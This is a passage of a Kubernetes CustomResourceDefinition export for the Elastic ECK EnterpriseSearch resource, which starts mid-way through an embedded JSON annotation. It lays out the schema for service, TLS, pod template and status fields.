ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Enterprise Search Docker image to deploy.","type":"string"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on)\nfor the Enterprise Search pods.","type":"object","x-kubernetes-preserve-unknown-fields":true},"serviceAccountName":{"description":"ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.\nCan only be used if ECK is enforcing RBAC on references.","type":"string"},"version":{"description":"Version of Enterprise Search.","type":"string"}},"type":"object"},"status":{"description":"EnterpriseSearchStatus defines the observed state of EnterpriseSearch","properties":{"associationStatus":{"description":"Association is the status of any auto-linking to Elasticsearch clusters.","type":"string"},"availableNodes":{"description":"AvailableNodes is the number of available replicas in the deployment.","format":"int32","type":"integer"},"count":{"description":"Count corresponds to Scale.Status.Replicas, which is the actual number of observed instances of the scaled object.","format":"int32","type":"integer"},"health":{"description":"Health of the deployment.","type":"string"},"selector":{"description":"Selector is the label selector used to find all pods.","type":"string"},"service":{"description":"ExternalService is the name of the service associated to the Enterprise Search Pods.","type":"string"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":false,"subresources":{"status":{}}}]}}
    creationTimestamp: "2025-09-23T11:56:03Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: enterprisesearches.enterprisesearch.k8s.elastic.co
    resourceVersion: "432361"
    uid: 9ced3b7d-f141-45f1-a6a2-520ae0269b1a
  spec:
    conversion:
      strategy: None
    group: enterprisesearch.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: EnterpriseSearch
      listKind: EnterpriseSearchList
      plural: enterprisesearches
      shortNames:
      - ent
      singular: enterprisesearch
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: Enterprise Search version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: EnterpriseSearch is a Kubernetes CRD to represent Enterprise
            Search.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: EnterpriseSearchSpec holds the specification of an Enterprise
                Search resource.
              properties:
                config:
                  description: Config holds the Enterprise Search configuration.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                configRef:
                  description: |-
                    ConfigRef contains a reference to an existing Kubernetes Secret holding the Enterprise Search configuration.
                    Configuration settings are merged and have precedence over settings specified in `config`.
                  properties:
                    secretName:
                      description: SecretName is the name of the secret.
                      type: string
                  type: object
                count:
                  description: Count of Enterprise Search instances to deploy.
                  format: int32
                  type: integer
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to the Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for Enterprise
                    Search resource.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Enterprise Search Docker image to deploy.
                  type: string
                podTemplate:
                  description: |-
                    PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on)
                    for the Enterprise Search pods.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying Deployment.
                  format: int32
                  type: integer
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                version:
                  description: Version of Enterprise Search.
                  type: string
              type: object
            status:
              description: EnterpriseSearchStatus defines the observed state of EnterpriseSearch
              properties:
                associationStatus:
                  description: Association is the status of any auto-linking to Elasticsearch
                    clusters.
                  type: string
                availableNodes:
                  description: AvailableNodes is the number of available replicas
                    in the deployment.
                  format: int32
                  type: integer
                count:
                  description: Count corresponds to Scale.Status.Replicas, which is
                    the actual number of observed instances of the scaled object.
                  format: int32
                  type: integer
                health:
                  description: Health of the deployment.
                  type: string
                observedGeneration:
                  description: |-
                    ObservedGeneration represents the .metadata.generation that the status is based upon.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the Enterprise Search
                    controller has not yet processed the changes contained in the Enterprise Search specification.
                  format: int64
                  type: integer
                selector:
                  description: Selector is the label selector used to find all pods.
                  type: string
                service:
                  description: ExternalService is the name of the service associated
                    to the Enterprise Search Pods.
                  type: string
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        scale:
          labelSelectorPath: .status.selector
